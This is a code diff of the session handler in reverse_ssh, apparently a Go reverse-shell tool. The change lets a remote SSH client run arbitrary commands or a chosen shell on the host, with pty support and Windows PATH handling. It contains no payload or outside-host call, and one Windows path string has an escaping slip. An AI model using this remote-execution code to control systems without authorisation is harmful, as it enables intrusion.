■ ■ ■ ■ ■ ■
internal/client/handlers/session.go
skipped 4 lines 5 5 "io" 6 6 "os" 7 7 "os/exec" 8 + "runtime" 8 9 "strings" 9 10 10 11 "github.com/NHAS/reverse_ssh/internal" skipped 2 lines 13 14 "golang.org/x/crypto/ssh" 14 15 ) 15 16 16 - //Session has a lot of 'function' in ssh. It can be used for shell, exec, subsystem, pty-req and more. 17 - //However these calls are done through requests, rather than opening a new channel 18 - //This callback just sorts out what the client wants to be doing 17 + // Session has a lot of 'function' in ssh. It can be used for shell, exec, subsystem, pty-req and more. 18 + // However these calls are done through requests, rather than opening a new channel 19 + // This callback just sorts out what the client wants to be doing 19 20 func Session(user *internal.User, newChannel ssh.NewChannel, log logger.Logger) { 20 21 21 22 defer log.Info("Session disconnected") skipped 43 lines 65 66 return 66 67 } 67 68 68 - //Set a path if no path is set to search 69 - if len(os.Getenv("PATH")) == 0 { 70 - os.Setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/sbin") 71 - } 72 - 73 - cmd := exec.Command(parts[0], parts[1:]...) 74 - 75 - stdout, err := cmd.StdoutPipe() 76 - if err != nil { 77 - fmt.Fprintf(connection, "%s", err.Error()) 78 - return 79 - } 80 - defer stdout.Close() 81 - 82 - cmd.Stderr = cmd.Stdout 83 - 84 - stdin, err := cmd.StdinPipe() 85 - if err != nil { 86 - fmt.Fprintf(connection, "%s", err.Error()) 87 - return 88 - } 89 - defer stdin.Close() 90 - 91 - go io.Copy(stdin, connection) 92 - go io.Copy(connection, stdout) 93 - 94 - err = cmd.Run() 95 - if err != nil { 96 - fmt.Fprintf(connection, "%s", err.Error()) 69 + if user.Pty != nil { 70 + runCommandWithPty(parts[0], parts[1:], user, requests, log, connection) 97 71 return 98 72 } 73 + runCommand(parts[0], parts[1:], connection) 99 74 } 100 75 101 76 return 102 77 case "shell": 103 - // We only accept the default shell 104 - // (i.e. no command in the Payload) 105 - req.Reply(len(req.Payload) == 0, nil) 78 + //We accept the shell request 79 + req.Reply(true, nil) 80 + 81 + var shellPath internal.ShellStruct 82 + err := ssh.Unmarshal(req.Payload, &shellPath) 83 + if err != nil || shellPath.Shell == "" { 106 84 107 - //This blocks so will keep the channel from defer closing 108 - shell(user, connection, requests, log) 85 + //This blocks so will keep the channel from defer closing 86 + shell(user, connection, requests, log) 87 + return 88 + } 109 89 90 + runCommandWithPty(shellPath.Shell, nil, user, requests, log, connection) 110 91 return 111 92 //Yes, this is here for a reason future me. Despite the RFC saying "Only one of shell,subsystem, exec can occur per channel" pty-req actually proceeds all of them 112 93 case "pty-req": skipped 18 lines 131 112 132 113 } 133 114 115 + func runCommand(command string, args []string, connection ssh.Channel) { 116 + //Set a path if no path is set to search 117 + if len(os.Getenv("PATH")) == 0 { 118 + if runtime.GOOS != "windows" { 119 + os.Setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/sbin") 120 + } else { 121 + os.Setenv("PATH", "C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\v1.0\\") 122 + } 123 + } 124 + 125 + cmd := exec.Command(command, args...) 126 + 127 + stdout, err := cmd.StdoutPipe() 128 + if err != nil { 129 + fmt.Fprintf(connection, "%s", err.Error()) 130 + return 131 + } 132 + defer stdout.Close() 133 + 134 + cmd.Stderr = cmd.Stdout 135 + 136 + stdin, err := cmd.StdinPipe() 137 + if err != nil { 138 + fmt.Fprintf(connection, "%s", err.Error()) 139 + return 140 + } 141 + defer stdin.Close() 142 + 143 + go io.Copy(stdin, connection) 144 + go io.Copy(connection, stdout) 145 + 146 + err = cmd.Run() 147 + if err != nil { 148 + fmt.Fprintf(connection, "%s", err.Error()) 149 + return 150 + } 151 + } 152 +